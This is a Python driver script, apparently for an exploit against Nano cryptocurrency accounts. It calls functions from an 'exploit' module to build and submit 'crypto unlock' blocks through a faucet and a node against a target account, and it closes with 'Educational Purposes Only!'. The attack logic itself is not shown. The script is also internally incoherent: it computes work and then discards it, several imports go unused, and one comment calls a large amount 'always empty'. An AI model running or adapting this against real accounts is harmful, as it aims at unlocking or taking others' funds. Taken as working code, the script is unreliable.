from multiprocessing import Process
from requests import post, get
from requests.exceptions import ConnectionError
import os
import subprocess
import sys
from time import sleep

from nanolib import Block
from nanolib.work import Worker

from cli import parse_args, validate_args
from exploit import (
    upload_files,
    wait_until_uploaded,
    create_block,
    submit_block,
    wait_until_block_confirmed,
    create_crypto_unlock_block,
    submit_faucet_crypto_unlock_block,
    submit_crypto_unlock_block,
    get_cli_block_signature,
    submit_final_block,
    )
from utils import ssh_tunnel

def main(args):
    worker = Worker(threads=1)
    worker.start()
    worker.generate_work(args.target_account)
    worker.stop()

    # This is always empty, but is required for the crypto unlock block
    receive_amount = '1000000000000000000000000000000000000000000000'

    if args.encryption_key == ' ':
        args.encryption_key = '!'

    if not args.encryption_key:
        # Create the block that will unlock the account
        crypto_unlock_block = create_crypto_unlock_block(
            args.wallet_private_key, args.target_account, args.wallet_account, receive_amount,
            args.prefix, args.work, args.public_key)

        # Submit the block to the faucet
        signed_crypto_unlock_block = submit_faucet_crypto_unlock_block(args.faucet_ip, crypto_unlock_block)

        # Submit the block to the network
        submit_crypto_unlock_block(args.node_ip, signed_crypto_unlock_block)

        # Wait until the block is confirmed
        wait_until_block_confirmed(args.node_ip, signed_crypto_unlock_block)

    # This is the block that will trigger the crypto unlock action
    block = create_block(args.wallet_private_key, args.target_account, args.wallet_account, receive_amount, args.prefix, args.work, args.public_key, args.encryption_key)

    # Submit the block to the network
    signed_block = submit_block(args.node_ip, block)

    # Wait until the block is confirmed
    wait_until_block_confirmed(args.node_ip, signed_block)

    # Submit the final block
    signature = get_cli_block_signature()
    final_block = submit_final_block(args.node_ip, args.target_account, args.prefix, args.work, args.public_key, signature)

    # Wait until the block is confirmed
    wait_until_block_confirmed(args.node_ip, final_block)

    if args.encryption_key:
        # Create a new block to trigger the crypto unlock
        crypto_unlock_block = create_crypto_unlock_block(
            args.wallet_private_key, args.target_account, args.wallet_account, receive_amount,
            args.prefix, args.work, args.public_key)

        # Submit the block to the network
        signed_crypto_unlock_block = submit_faucet_crypto_unlock_block(args.faucet_ip, crypto_unlock_block)

        # Wait until the block is confirmed
        wait_until_block_confirmed(args.node_ip, signed_crypto_unlock_block)

if __name__ == '__main__':
    args = parse_args()
    validate_args(args)

    sys.exit(main(args))

# Educational Purposes Only!